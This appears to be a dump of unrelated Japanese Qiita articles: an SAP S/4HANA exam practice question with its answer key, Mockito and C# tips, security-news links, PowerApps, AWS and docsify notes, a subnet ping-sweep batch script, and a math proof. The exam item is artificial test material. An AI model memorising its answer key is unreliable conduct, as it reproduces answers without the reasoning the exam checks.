OmniAICreator/Qiita-1.07M huggingface dataset:
C_TS422_2021 SAP Certified Application Associate SAP S/4HANA Production Planning and Manufacturing対策（94/100）

【94日目】
トピック 10：SAPS/4HANAの能力計画（2/8）

≪問題94≫
差立の後に複数の作業が作業区の同じ日にスケジュールされている場合に、複数の個別能力が確定される理由として考えられるのは以下のどれですか。
（２つ選択）
□作業区に複数の個別能力がある。
□方針プロファイルで日程計画方向の変更区分が設定されている。
□代替作業区がすべて使用されている。
□方針プロファイルで有限計画の区分が設定されていない。

≪解答≫
■作業区に複数の個別能力がある。
□方針プロファイルで日程計画方向の変更区分が設定されている。
□代替作業区がすべて使用されている。
■方針プロファイルで有限計画の区分が設定されていない。

≪解説≫
◆有限計画（方針プロファイルで有限計画を有効にする場合）では、作業区にある個別能力の数に応じて、複数の作業を同じ日に差し立てることが可能です。  
◆一方、無限計画（方針プロファイルで有限計画を無効にする場合）では、差し立て時に作業が無限に計画されるため、作業区に個別能力が1つしかない場合でも、複数の作業を同日に差し立てることができます。
Mockitoで、対象のメソッドの実行回数が何回かを検証

Mockitoでは対象メソッドが何回実行されたかを検証することが可能です。これにはMockito.verify()メソッドと、times()、never()、atLeast()、atMost()などのメソッドを組み合わせて使用します。

## verify()での実行回数の検証
以下は、メソッドの実行回数を検証するための一般的な方法です。

#### 1. メソッドの実行回数が特定回数であることを検証
```java
verify(mockObject, times(n)).methodName();
```

times(n)：指定された回数nだけメソッドが呼ばれたかどうかを検証します。

#### 2. メソッドが1回も実行されなかったことを検証

```java
verify(mockObject, never()).methodName();
```

never()：メソッドが一度も呼ばれていないことを検証します。

#### 3. メソッドが少なくともn回実行されたことを検証

```java
verify(mockObject, atLeast(n)).methodName();
```

atLeast(n)：指定された回数以上でメソッドが呼ばれたかを検証します。

#### 4. メソッドが最大でn回まで実行されたことを検証
```java
verify(mockObject, atMost(n)).methodName();
```

#### サンプルコード
以下に、メソッドの実行回数を検証する例を示します。
```java
import static org.mockito.Mockito.*;
import org.junit.Before;
import org.junit.Test;

public class MyServiceTest {

    private MyService myService;

    @Before
    public void setUp() {
        // サービスクラスをモック化
        myService = mock(MyService.class);
    }

    @Test
    public void testMethodExecutionCount() {
        // メソッドを3回呼び出す
        myService.someMethod();
        myService.someMethod();
        myService.someMethod();

        // 3回呼ばれたことを検証
        verify(myService, times(3)).someMethod();

        // 1回も呼ばれていないことを検証（別のメソッド例）
        verify(myService, never()).anotherMethod();
        
        // 少なくとも1回は呼ばれたことを検証
        verify(myService, atLeast(1)).someMethod();
        
        // 最大で4回まで呼ばれたことを検証
        verify(myService, atMost(4)).someMethod();
    }
}
````
説明
myService.someMethod()の呼び出し: メソッドを3回呼び出します。
verifyメソッドで回数を検証:
verify(myService, times(3))で、someMethod()が3回呼ばれたことを検証。
verify(myService, never())で、anotherMethod()が1回も呼ばれていないことを検証。
atLeast()やatMost()で、指定された範囲内で呼ばれた回数を検証。
このようにして、Mockitoを使えば、対象メソッドが期待通りの回数で呼び出されたかどうかを簡単に確認することができます。
サービスクラスのpublicメソッドの実行順番をMockitoで検証

Mockito.verify()メソッドとInOrderクラスを使用して、特定のオブジェクトのメソッドが実行された順序をチェックできます。

以下に、サービスクラスのpublicメソッドの実行順序を検証するサンプルコードを示します。

例
まず、サービスクラスの例を定義します。
```java
public class MyService {
    public void firstMethod() {
        System.out.println("First method executed");
    }

    public void secondMethod() {
        System.out.println("Second method executed");
    }

    public void thirdMethod() {
        System.out.println("Third method executed");
    }
}
```
次に、Mockitoを使ってメソッドの実行順序を検証するテストケースを作成します。
```java
import static org.mockito.Mockito.*;

import org.junit.Before;
import org.junit.Test;
import org.mockito.InOrder;

public class MyServiceTest {

    private MyService myService;

    @Before
    public void setUp() {
        // サービスクラスをモック化
        myService = mock(MyService.class);
    }

    @Test
    public void testMethodExecutionOrder() {
        // モックのメソッドを順番に呼び出す
        myService.firstMethod();
        myService.secondMethod();
        myService.thirdMethod();

        // InOrderオブジェクトを作成して、メソッドの実行順序を検証
        InOrder inOrder = inOrder(myService);

        // 実行順序を検証
        inOrder.verify(myService).firstMethod();  // 最初に実行されるべき
        inOrder.verify(myService).secondMethod(); // 2番目に実行されるべき
        inOrder.verify(myService).thirdMethod();  // 3番目に実行されるべき
    }
}
```
説明
モックの作成: myService = mock(MyService.class);でMyServiceをモック化します。
メソッドの呼び出し: テスト中にモックのメソッドを順番に呼び出します。
InOrderオブジェクトの使用: inOrder(myService)を使って、特定のオブジェクトのメソッド呼び出し順序を検証します。
順序の検証: inOrder.verify()で、メソッドが呼び出された順序を指定して検証します。
このコードは、メソッドが指定された順序で呼び出されたかどうかを検証します。もし異なる順序でメソッドが呼び出された場合、テストは失敗します。

ポイント
メソッドがどの順番で呼び出されたかだけを検証したい場合、InOrderを使います。
複数のオブジェクトに対しても、InOrderを使って順序を検証することが可能です。
もしサービスが異なる順序でメソッドを呼び出す可能性があり、特定の順序をテストする必要がある場合、この方法は非常に有効です。
2024/9/26主にITとかセキュリティの記事

「VMware vCenter Server」の深刻な脆弱性を修正するパッチに不具合
https://www.security-next.com/162112

「FreeBSD」に重要度「クリティカル」とされる複数の脆弱性
https://www.security-next.com/162128

「Docker Desktop」に複数脆弱性 - アップデートで修正
https://www.security-next.com/162116

Doctor Webに標的型攻撃 - マルウェアDB配信を一時停止
https://www.security-next.com/162131

Doctor Webがサイバー攻撃受け、ウイルスデータベース配信一時停止(9/23)
https://news.mynavi.jp/techplus/article/20240923-3028799/

複数サーバが暗号化、個人情報流出の可能性 - 三陽物産
https://www.security-next.com/162133

委託先がランサム被害、顧客情報が流出した可能性 - 大樹生命
https://www.security-next.com/162106

中央銀行が発行するデジタル通貨CBDC、2つあるタイプとは(9/25)
https://xtech.nikkei.com/atcl/nxt/column/18/02938/092000038/

BGP(9/25)
https://xtech.nikkei.com/atcl/nxt/mag/nnw/18/031500132/091700032/

真因はゼロデイ攻撃　土木研究所が最終報告(9/25)
https://xtech.nikkei.com/atcl/nxt/mag/nnw/18/031800050/091700067/

日本発IoT通信の民主化へ、シャープが5G対応ソフトウエア無線開発ボード(9/25)
https://xtech.nikkei.com/atcl/nxt/column/18/00001/09776/

内製とセキュリティーにこだわるIT部門、GOの組織づくりを解剖(9/25)
https://xtech.nikkei.com/atcl/nxt/column/18/02952/092000002/

供給網の上流と下流でどう変わる？　トヨタ・デンソー・ルネサスのSBOM活用術(9/25)
https://xtech.nikkei.com/atcl/nxt/column/18/02936/090900006/

失敗プロジェクトの共通点　「データ」「DX」を含む名称に注意(9/25)
https://xtech.nikkei.com/atcl/nxt/mag/nc/18/092000445/092000001/
PowerAppsアプリで翻訳する　MicrosoftTranslatorV2

:::note warn
※無印のMicrosoftTranslatorは完全に機能停止したようです。
::: 

PowerAppsStudioで追加はまだできるものの、使用してもネットワークエラーになります。
![27B6FB80-5735-4FC4-8753-CFDD65E5A673_4_5005_c.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3880604/34553d42-a3b8-e4b1-ea2b-ffca53386065.jpeg)

テキストの翻訳から音声合成まで非常に便利でしたが、AzureTranslatorとの兼ね合いでしょうか。
MicorosoftTranslatorV2コネクタで翻訳はできるので、そちらをメモしておきます。

テキストの翻訳は無印のMicrosoftTranslatorと引数が前後入れ替わっているので注意。
```
MicrosoftTranslatorV2.Translate("言語コード","元テキスト")
```
Translateが動作関数なので、Textプロパティなどの非動作プロパティに入れるとエラーになります。
OnSelectプロパティ等で、Set関数かUpdateContext関数を使用して変数に入れ、その変数をTextプロパティに入れて表示する。


使用できる言語の一覧は↓で取得

```
MicrosoftTranslatorV2.Languages()
```

例えばドロップダウン等に↑を設定すると

![R6-09-26 3.26の画像.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3880604/7f9401eb-e731-06f3-fee1-75127092770c.png)


↓のようにドロップダウンボックスの選択した値から言語コードを取得する
```
MicrosoftTranslatorV2.Translate(Dropdown1.Selected.code,"元テキスト")
```

言語一覧は日本語になっていて見やすいけれど、日本語を見つけるのが逆に困難。
なので言語の一覧をコンボボックスにすれば、目的の言語を検索できる。

![R6-09-26 3.42の画像.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3880604/2b210f23-fc0d-8b79-343e-54304bc97c7a.png)


コンボボックスのプロパティ設定は以下
Itemsプロパティに↓
```
MicrosoftTranslatorV2.Languages()
```
DisplayFieldsプロパティとSearchFieldsプロパティを↓
```
["Name"]
```

コンボボックスで選択した言語コードの取得はちょっと工夫が必要
```
First(ComboBox1.SelectedItems).Code
```

以上
IT企業に就職したため、自己紹介とこれからの記事について。

## 自己紹介
はじめまして、ぽちゃといいます。
2024年4月からIT企業に就職しました！！！！！！！！！
（テンション高め）

簡単な経歴ですが、
18歳 工業高校卒 → 製造業での就職（IT関係ではない） → 20歳退職後、専門学校IT科へ入学 → 22歳 仙台IT企業就職

という風にいろいろあって、ITエンジニアになりました。（たぶん）

## 使用したことのあるフレームワーク
・React
・Laravel

## これからの記事について
IT企業に就職したもののスキルが足りず、毎日頭を抱えている日々です、、、
そのため、ちょっとした学びを記事にします。
また、作成している成果物についても解説を踏まえて記事にできればなぁなんて。。。
あとは仕事への取り組み方や日々の振り返り・改善点等、日記のような形の記事もあるかもしれません
こいつなんかいってるわ＾～＾程度で記事を見てくださいね

## 最後に
まだまだ未熟なため、これ違うよ！とかこっちのほう良いよ！などのアドバイスしていただけると嬉しくて泣きます。
また地元は青森で、仙台では一人孤独のため仲良くしてくださる方いれば連絡ください（）
辞書データで英単語の意味を表示し、Notionに保存するChrome拡張機能を作ってみた


## TL;DR
辞書データ（.txt形式）を取り込んで、右クリックからポップアップで英単語の意味を表示します。保存したい意味をそのままNotionのデータベースに保存できる仕組みです

ただし、動作が不安定で、表示されない意味があったり、表示が遅かったりします。まだまだ未完成ですが、マーク・ザッカーバーグ氏の言葉を盾にして公開しています

---

## Chrome拡張機能の概要
Chrome拡張機能の設定画面に、Notion APIキーとデータベースIDを入力します

使用する辞書データは英辞郎を使用しています

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591409/93848b21-2942-0f36-53ca-f8b895fd9251.png)

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591409/b9c3638c-1f56-e212-d12b-24f247ccd8bf.png)

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591409/246ac4d0-0920-3c82-9d5f-4cf1dd33cb5a.png)


Notionのデータベースに登録してくれますが、表はこの形でないとエラーになります

![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591409/46c12808-6aa0-0871-785c-3da14fc4b031.png)

---

## 使用した辞書データ
英辞郎 Ver.144.10（2024年4月7日修正版）のテキストデータを使用しています
- 購入先: https://booth.pm/ja/items/777563

---

## 技術的な実装詳細

### 辞書データの読み込みと意味の表示
辞書データの読み込みと表示については、以下の記事を参考にしましたが、自分の作成したものは足元にも及びませんでした（泣）

https://qiita.com/wtetsu/items/c43232c6c44918e977c9

### Notion APIとの連携
Notion APIとの連携は、以下の記事を参考にしています。

https://temp.co.jp/blog/2023-09-30-python-notion-api

---

## AIの活用
このプロジェクトでは、ChatGPTやGitHub Copilotを使用してコードを書きました
この記事も整えてもらっています

---

## 苦労した点と解決方法
- 自分のプロンプトが悪いのか、全く違った回答が返ってくることが多かったです
- 前の命令を無視されることがあり、結局は自分で開発したほうが早いと感じました

---

## 今後の改善点と発展可能性
- 表示までの速度が遅い
- 不要な意味まで取り込んでしまっている
- Notionデータベースのカラムなども設定できるようにする予定
- Reactに移行したい
- TypeScriptもできれば使いたい
- 他の辞書ファイルでも使えたらよい

---

## GitHubリポジトリ

更新していけたらいいなぁ

https://github.com/NightWatchWife/my-extension
C#でプロパティのセッターが実行されない

## はじめに
Unity C#で詰まったので記録として

## 課題
Unityで配列にプロパティを実装したが、セッターのイベントが動きませんでした

```csharp
/// <summary>
/// modelのデータが変更されたときに呼び出されるイベント
/// </summary>
public event Action OnValueChanged;

[SerializeField]
private bool[] grids;
/// <summary>
/// 各グリッドの状態
/// </summary>
public bool[] Grids 
{
	get { return grids; }
	set
	{
		grids = value;
		OnValueChanged?.Invoke();
	}
}
```
呼び出し
```csharp
Grids[i] = true;
```
呼び出しを行うとプロパティが起動されると想定していたのですが、イベントは起動しませんでした

## 解決方法
配列の一要素にアクセスする場合、配列全体のプロパティは実行されないそうです
そのため、変更用のメソッドを実行してそこでイベントを発火することにしました
```csharp
/// <summary>
/// グリッドの値を変更しイベントを発行する
/// </summary>
/// <param name="index"></param>
/// <param name="state"></param>
public void SetGridState(int index, bool state)
{
	// 変更がない場合は何もしない
	if (grids[index] == state) return;

	grids[index] = state;
	OnValueChanged?.Invoke();
}
```

## おわりに
配列全体をコピーして上書きすればプロパティを実行できるかもしれません
Windowsのコマンドプロンプトでpingバッチ例

単発小ネタ　Windowsバッチ

# 20240925_Windowsのコマンドプロンプトでpingバッチ例  
  
## 機能  
- 起動するとオクテットごとに入力を受け付けて、/24としてpingをしてみる。

```ping_tool_v001.bat

@ECHO OFF

REM //////////////////////////////////////////////////////////////////////////
REM //
REM // ダイアログ形式でオクテット指定し、pingするツール
REM //
REM // 20240925 v001 ＼(^o^)／
REM //
REM //////////////////////////////////////////////////////////////////////////

ECHO.
ECHO **************** 処理開始 ****************

REM (ﾟДﾟ)ﾉ  実行判定開始
ECHO.
SET /p pushKey01="type first octet  (ex 192) then ENTER : %pushKey01%"
SET /p pushKey02="type second octet (ex 168) then ENTER : %pushKey02%"
SET /p pushKey03="type third octet  (ex 1  ) then ENTER : %pushKey03%"

ECHO.
SET /p pushKey04="target IP is %pushKey01%.%pushKey02%.%pushKey03%.1 to 254. OK? (y/n) : %pushKey04%"

IF "%pushKey04%"=="y" (

	REM ｷﾀ━(ﾟ∀ﾟ)━! 処理開始へ
	ECHO.
	ECHO *************** 実行を選択 ***************
	GOTO MAIN

) ELSE IF "%pushKey04%"=="n" (
	REM (ﾟ⊿ﾟ)ｲﾗﾈ 処理中止へ
	ECHO.
	ECHO *************** 中止を選択 ***************
	GOTO HALT

) ELSE (
	REM （ ﾟωﾟ ） お断りします
	ECHO.
	ECHO y か n を入力して下さい。
	GOTO HALT
)

:MAIN
REM （＾ω＾）メイン処理を開始
COLOR 3F

REM (・ω・)　日付変数設定

SET CDATE=%date:~0,4%%date:~5,2%%date:~8,2%
IF "%time:~0,1%"==" " (
SET CTIME=0%time:~1,1%%time:~3,2%%time:~6,2%
) ELSE SET CTIME=%time:~0,2%%time:~3,2%%time:~6,2%


REM logのパス、対象IPの変数設定、フォルダ作成　＜(゜∀。)
cd /d %~dp0
IF ERRORLEVEL 1 GOTO ERR
REM ↑エラー分岐　（Ｕ＾ω＾）

SET LOGFNAME=ping_result
mkdir %LOGFNAME%\ 2> nul 1>&2

SET LOGF=%LOGFNAME%\%CDATE%_%CTIME%_ping_log.txt

SET TARGETIP=%pushKey01%.%pushKey02%.%pushKey03%.

REM 記述開始　Σ(ﾟДﾟ；)

ECHO. > %LOGF%
ECHO ☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆ start ☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆ >> %LOGF%
ECHO. >> %LOGF%

ECHO.
ECHO *************** ping start ***************
ECHO.
ECHO target IP = %TARGETIP%1 to 254

ECHO.
for /L %%f in (1,1,254) do (
	ping -n 1 -w 50 %TARGETIP%%%f 2> nul 1>&2
	IF ERRORLEVEL 1 ( ECHO ■ : %TARGETIP%%%f >> %LOGF%
		) ELSE ( ECHO □ : %TARGETIP%%%f >> %LOGF%
	)

	IF %%f EQU 200 (
		cls
		ECHO ■■■■□ 200/254 通過
	) ELSE IF %%f EQU 150 (
		cls
		ECHO ■■■□□ 150/254 通過
	) ELSE IF %%f EQU 100 (
		cls
		ECHO ■■□□□ 100/254 通過
	) ELSE IF %%f EQU 50 (
		cls
		ECHO ■□□□□ 50/254 通過
	) ELSE IF %%f EQU 10 (
		cls
		ECHO □□□□□ 10/254 通過
	)
)

ECHO.
ECHO **************** ping end ****************
ECHO. >> %LOGF%
ECHO ☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆  end  ☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆*ﾟ ゜ﾟ*☆ >> %LOGF%
ECHO. >> %LOGF%

REM 正常終了⊂二二二（　＾ω＾）二⊃ﾌﾞｰﾝ
cls
COLOR 07

ECHO.
ECHO 正常終了しました。

:END
REM 変数解放
SET pushKey01=
SET pushKey02=
SET pushKey03=
SET pushKey04=
SET CDATE=
SET CTIME=
SET LOGFNAME=
SET LOGF=
SET TARGETIP=

ECHO.
ECHO 4秒後に画面を閉じます。
ECHO.
ECHO **************** 処理開始 ****************
ping 127.0.0.1 -n 4 2> nul 1>&2

exit

:ERR
REM 異常系　(ﾟДﾟ)ｺﾞﾙｧ!!
COLOR 4E

ECHO.
ECHO エラーが発生しました。
ECHO UMC パスはサポートされません。
ECHO 上記エラーの場合はドライブレターを設定してから実行して下さい。
GOTO END

:HALT
COLOR 70

REM 実行せずに終了 ｳﾜｧｧｧｧｧｧヽ(`Д´)ﾉｧｧｧｧｧｧﾝ!
ECHO.
ECHO 処理を実行せずに終了します。
GOTO END

REM //////////////////////////////////////////////////////////////////////////
REM EOF (・∀・)ｶｴﾚ!!
```
## その他
- 4オクテットの開始と終了についてpushKeyで受け取れば好きな区間調査できたりすると思うので、良かったら改変してみてください。
画像キャプショニングにおいて Grit の仕組みを非自己回帰型に改修して精度を測定しました。


### 測定を行った動機

非自己回帰型の画像キャプショニングについては、提案するTransformer Encoder の出力をダウンサンプリングして、Transformer Decoder の target 入力にし、CTCLoss を計算するという方法

https://qiita.com/toshiouchi/items/b991d3ada79f0e1f6ce5

では、精度があがらず、Mask Predict で

https://qiita.com/toshiouchi/items/727dd012f2b7a211ed7b

精度が上がった。今回は、提案する方法でなんとか精度が上げられないか Grit 

https://www.ecva.net/papers/eccv_2022/papers_ECCV/papers/136960165.pdf

に、提案する非自己回帰の手法を適用して精度を測定した。

### ハイパーパラメータ

今回の測定は、RTX 6000 GPU 一枚で行ったため、transformer の隠れ次元数は 256 とした。num_heads = 8, num_ffd_dim = 2048 である。

### 学習

事前学習は、Visual Genome データセットを使った Object Detector の事前学習と Visual Genome データセットを使った Object Detector + Attributes Prediciton の事前学習を行った。これらの事前学習で得られた backbone と Deformable Transformer のパラメータを用いて、Coco データセットで 画像キャプショニングの学習を行った。

### 測定結果


<table>
<caption> 測定データ
<thread>
<th>プログラムの特徴<th>WER<th>BLEU
<tbody>
<tr><td style="text-align:right;"> 通常のtransformer<td>67.0<td>4.88
<tr><td style="text-align:right;"> Gritを真似た自己回帰型<td>66.1<td>5.14
<tr><td style="text-align:right;"> Gritの仕組みを用いた非自己回帰型<td>68.4<td>2.36
</table>

Grit の仕組みを用いた非自己回帰型では、Region Feature、すなわち Object Detector の特徴量をダウンサンプリングせずに Caption Generator の target 入力として CTCLoss を計算した。非自己回帰型に慣れてない方も読むと思います。非自己回帰型の場合、学習時に causal_mask は要りません。また、model の計算に必要なのは、imgs と masks で、caption は要りません。推論と学習は一つのクラスの中の同じ関数でできます。
APIGatewayとStepFunctionでの非同期実行時に使えるマッピングテンプレートの工夫

# はじめに
APIGatewayには、**最大29秒までの実行時間制限**があります。しかし、意外と簡単にその制限を超えてしまうことがあります。  
最近では、申請をすればこの制限を延ばせるようですが、そもそも**長時間待たせる設計は良くない**と考え、下記のように非同期実行に変更しました。

# 本題
StepFunctionとAPIGatewayの非同期実行については、多くの情報が既にあるのでここでは詳細は割愛します。  
今回は私が実践したアプローチをご紹介します。

1. APIGatewayからStepFunctionを非同期で実行します。この際、**実行完了を待たず**に、StepFunctionの**実行ARN**をすぐにレスポンスとして返します。
2. そのARNを使って、StepFunctionの**実行が完了しているかを確認**します。

StepFunctionに渡すデータの形式は決まっており、以下のような形になります。

```
// リクエストのマッピングテンプレート
#set($input = $input.json('$'))
{
   "input": "$util.escapeJavaScript($input)",
   "stateMachineArn": "実行するStepFunctionのARN"
}
```

`$input.json`の内容をそのまま渡すだけなら簡単ですが、例えば、**エンドポイントごとに固定の値を渡したい場合**には少し手を加える必要があります。  
私は以下のようにカスタマイズしました。

```
// 作成するデータ形式
{
    "request": {
        "headers": {値},
        "body": {値}
    }
}
```

```
// リクエストのマッピングテンプレート
#set($input = $input.json('$'))
{
    #set($inputJson = '{"request":{"headers":{')
    #foreach($headerName in $input.params().header.keySet())
        #set($headerValue = $input.params().header.get($headerName))
        #set($inputJson = $inputJson + '"' + $headerName + '":"' + $headerValue + '"')
       #if($foreach.hasNext)
          #set($inputJson = $inputJson + ',')
       #end
       // ここに追加すればheaderに追加可能
    #end
    
    #set($inputJson = $inputJson + '},"body":{')
    #foreach($item in $input.path('$').entrySet())
       #set($inputJson = $inputJson + '"' + $item.key + '":"' + $item.value + '"')
       #if($foreach.hasNext)
          #set($inputJson = $inputJson + ',')
       #end
       // ここに追加すればbodyに追加可能
    #end
    
    #set($inputJson = $inputJson + '}}}')
    {
       "input": "$util.escapeJavaScript($inputJson)",
       "stateMachineArn": "ステップファンクションの実行ARN"
    }
}
```

このテンプレートでやっていることはシンプルです。リクエストされた**header**と**body**をループして**JSON形式の文字列を作成**し、それをエスケープして`input`キーに入れています。  
StepFunctionへの`input`は文字列である必要があるため、このようにエスケープ処理を行っています。

# さいごに
似たような処理を行っている方もいますが、多くの方は**mapを作成後にreplaceで`=`を`:`に変換**していました。  
（mapが`key=value`形式で出力されるため、それを`key:value`のJSON形式に変換する方法です）

しかし、この方法では、リクエスト文字列に`=`が含まれている場合に**意図しない変換が発生**する可能性があります。  
そのため、私はループを回して**手動で文字列を作成**する方法を選びました。

このアプローチにたどり着くまでに意外と苦労したため、メモとして残しておきます。
反比例は双曲線関数であることの検証

# はじめに
一般的に、反比例と呼ばれる関数は$y=\frac{k}{x}$というように表される。一方で、双曲線関数は、$\frac{x^2}{a^2}-\frac{y^2}{b}=\pm 1$のような複雑な二次関数の式で表される。したがって、反比例の関数と二次曲線の双曲線の関数が究極的には回転移動をすることによって一致していなければならない。そこで今回は、行列計算を用いて双曲線のグラフを原点を中心として回転させることで、反比例のグラフと一致することを証明する。また、プログラムによってもそのことを以下のよう視覚的に確かめる。

![双曲線と反比例.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1686019/bc699402-7bda-611b-2d37-72d493cb0ef8.gif)

# 回転行列とは
点$(x_0,y_0)$を点$(x_1,y_1)$に原点を中心として$\theta$だけ回転移動をさせることを考える。
複素数平面の知見を借りて以下のような条件を考える。
```math
x_1+jy_1=(cos\theta+jsin\theta)(x_0+jy_0)=(x_0 cos\theta-y_0 sin\theta )+j(y_0 cos\theta+x_0 sin\theta)
```

と表すことができる。

ゆえに、

``` math
\begin{pmatrix}
 x_1 \\
 y_1 \\
\end{pmatrix}


=

\begin{pmatrix}
\cos\theta & -\sin\theta \\
\sin\theta & \cos\theta \\
\end{pmatrix}

\begin{pmatrix}
 x_0 \\
 y_0 \\
\end{pmatrix}

```
ここで、軌跡の方程式を叙述するためには、変化前の方程式に代入する必要性があるので、以下のような変換をする。



``` math
\begin{pmatrix}
 x_0 \\
 y_0 \\
\end{pmatrix}


=

\begin{pmatrix}
\cos(-\theta) & -\sin(-\theta) \\
\sin(-\theta) & \cos(-\theta) \\
\end{pmatrix}

\begin{pmatrix}
 x_1 \\
 y_1 \\
\end{pmatrix}

```

ここで、$y_0=\frac{k}{x_0}$を代入すると、

``` math
x_0y_0=(x_1\cos\theta+y_1\sin\theta)(-x_1\sin\theta+y_1\cos\theta)=k
``` 

``` math
(y_1^2-x_1^2)\cos\theta\sin\theta+x_1y_1(\cos\theta^2-\sin\theta^2)=k
``` 
2倍角の公式より、

``` math
(y_1^2-x_1^2)\sin2\theta+2x_1y_1\cos2\theta=2k 
``` 
ここで、上式を成立させる特殊な条件として$\theta=0,\frac{\pi}{4}$を考える。

(1)$\theta=0$のとき

``` math
x_1y_1=k 
``` 

これは、初期の反比例関数と重なってしまうので、題意を満たさない。

(2)$\theta=\frac{\pi}{4}$のとき

``` math
y_1^2-x_1^2=2k 
```

このように、反比例関数を45度だけ回転させれば二次曲線の方程式が現れるという面白い結果が出た。（これは、筆者の長年の謎で、どうして双曲線の二次曲線が反比例と根本的には同じ曲線なのか疑問だった。）

# プログラム
さて、以上の考察が正しいか視覚的に確かめたいので以下の様なプログラムを作成した。
``` python xy_k_theta.py
#反比例のグラフを回転移動させて双曲線の二次曲線の標準形のグラフに持っていくアニメーション
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.animation as animation
import japanize_matplotlib

# アニメを作る初期設定
fig = plt.figure()
ims = []
#比例定数
k=1
#区切り数
n=100
#0度から45度までの範囲でアニメーションを作成
theta_ary=np.linspace(0,np.pi/4,n)
#初期のグラフ
x_0=np.linspace(0,10,n)
y_0=k/x_0
X_0=np.array([x_0,y_0])
for i in range(n):
  im=[]
  theta = theta_ary[i]
  #Aは回転行列（-θだけ回転）
  A=np.array([[np.cos(-theta),-np.sin(-theta)],[np.sin(-theta),np.cos(-theta)]])
  X_1=A@X_0
  x_1=X_1[0]
  y_1=X_1[1]
  im=plt.plot(x_1,y_1)
  ims.append(im)
# 複数枚のプロットを 20ms ごとに表示
ani = animation.ArtistAnimation(fig, ims, interval=20)
#保存
ani.save("双曲線と反比例.gif", writer="pillow")
```
これを実行すると以下のようなgif画像が出力される。

![双曲線と反比例.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1686019/bc699402-7bda-611b-2d37-72d493cb0ef8.gif)
このように、確かに反比例のグラフを回転移動させると、双曲線の二次曲線の標準形になることが視覚的にも納得できた。
# まとめ
今回は、前半戦で反比例のグラフが二次曲線の方程式と本質的に対応関係であることを回転行列を用いることで証明した。また、後半戦では、そのことについて、Pythonを用いたシミュレーションで検証した。結果、予想と同じように-45度だけ原点を中心に回転移動させると、双曲線の標準形と同じ位置にグラフが移動するということが分かった。
GitHubのコミット練習用サイトをdocsifyで作った話

## 概要
ここ最近の業務で、GitHubをほとんど触ったことがない人に対して、Git-flowを体験してもらうためのワークショップを開催しました。  
そのワークショップでは、以下のような体験ができるようにしました。

- ブランチ作成 → コミット（プッシュ） → Pull Request → レビュー → マージ の一連の流れを実践できる
- GitHub Pagesで公開されているため、マージされた内容がすぐにウェブページで確認できる
- Markdownに馴染みがない人は、Markdownの練習になる

また、運営側として必要以上の時間がかからないよう、コンフリクトが極力発生しないような構成にしました。

## 作成したサイト

https://umbreon-nu.github.io/docsify-test/#/

- トップページおよびサイドバーに、各ページへのリンクが用意されている
- ユーザー名（hoge、fuga、piyo）に対して、ページが1つ用意されている
- 各ユーザーは、自分のページだけ編集する（Markdown記法 + docsifyの記法で書ける）

## ソースコード

https://github.com/umbreon-nu/docsify-test

## 作り方
1. docsifyの[Quick start](https://docsify.js.org/#/quickstart)に従って、`docs/`以下にコンテンツを作成するところまでやります

    :::note
    Windows環境で、「このシステムではスクリプトの実行が無効になっているため…」と表示された場合は、実行ポリシーを付与するよう、ターミナルに以下を入力することで解決できます。
    ```bash
    Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process
    ```

1. リポジトリのルートに`package.json`を配置し、`npm install`します

    ```package.json
    {
        "dependencies": {
            "docsify-cli": "^4.4.4"
        }
    }
    ```

1. `docs/index.html`を編集し、サイドバーを表示させるようなつくりにします

    ```docs/index.html
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Document</title>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
        <meta name="description" content="Description">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
        <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/docsify@4/lib/themes/vue.css">
    </head>
    <body>
        <div id="app"></div>
        <script>
            window.$docsify = {
            name: 'プロフィール',
            repo: '',
            loadSidebar: '_sidebar.md',
            homepage: '/README.md',
            subMaxLevel: 1
        }
        </script>
    <!-- Docsify v4 -->
    <script src="//cdn.jsdelivr.net/npm/docsify@4"></script>
    <!-- emoji -->
    <script src="//cdn.jsdelivr.net/npm/docsify/lib/plugins/emoji.min.js"></script>
    </body>
    </html>
    ```

1. `docs/_sidebar.md`を追加し、Markdown記法でリンクを貼ります

    ```docs/_sidebar.md
    - [hoge](profile/hoge.md)
    - [fuga](profile/fuga.md)
    - [piyo](profile/piyo.md)
    ```

1. `docs/profile/***.md`をユーザーの数だけ作成します

    ```docs/profile/hoge.md
    # hoge

    ### 名前

    ### 所属チーム

    ### 経験のある言語
    ```

1. GitHubのリポジトリから、[Settings]-[Pages]で、`/docs`に対して公開するよう設定します

    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3722996/5fd3bd7b-17d7-60b5-65ab-448a54859c8d.png)

    :::note warn
    GitHub Enterpriseアカウントでない場合、ページはpublicに公開されるので注意が必要です

## おわりに
今回紹介したサイトは、誰でも15分ほどで作成できると思います。  
実践的なGitHub勉強会を開催しようと思っている方に、何かしらの参考になれば幸いです。

## 参考

https://docsify.js.org/#/

https://zenn.dev/takuya_zenn/articles/30394f9aa58427
AWS 認定 DevOps Engineer - Professional(DOP-C02) 合格体験記

# 本記事の概要
AWS 認定 DevOps Engineer - Professional(DOP-C02)を取得したので振り返りや学習方法をまとめます。（以下DOPとします）
経歴としては文系新卒でSIerに入社しIT、AWS歴は約1年です。

